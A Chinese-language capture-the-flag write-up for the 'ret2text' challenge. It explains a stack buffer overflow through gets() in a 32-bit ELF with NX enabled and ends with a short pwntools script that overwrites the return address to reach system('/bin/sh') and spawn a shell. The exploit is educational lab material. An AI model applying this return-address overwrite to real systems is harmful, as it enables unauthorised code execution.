首先检查文件开了哪些保护
如图,可以看出文件开启了NX,即堆栈不可执行。
这样就不能把控制IP
指向shellcode
了。
检查文件信息
可以看出是32位的ELF可执行文件。
运行程序
可以看出程序流程是接受输入,然后输出文本。
将程序放入IDA分析。
可以看到此处有一个gets
函数可以接受任意输入长度到栈上。
利用这一点可以覆盖返回地址。
首先寻找覆盖多少位可以找到返回地址。
利用cyclic
生成200个字符。
可以看出覆盖到112字节就是返回地址。
接着,咱们查看一下程序中的字符串信息。
找到了一个'/bin/sh'
。
然后,查看程序导出的函数。
main
函数已经检查过了,只剩下secure
函数了。将其反汇编出来。
看到程序调用了system('/bin/sh')
,这意味着,只要将程序流控制到这个地方,就能获取shell。
所以将0x0804863A
覆盖到返回地址。
编写payload。
from pwn import *
p = process('./ret2text')
p.sendline('a'*112 + p32(0x0804863A))
p.interactive()
可以看到获得了shell。
网友评论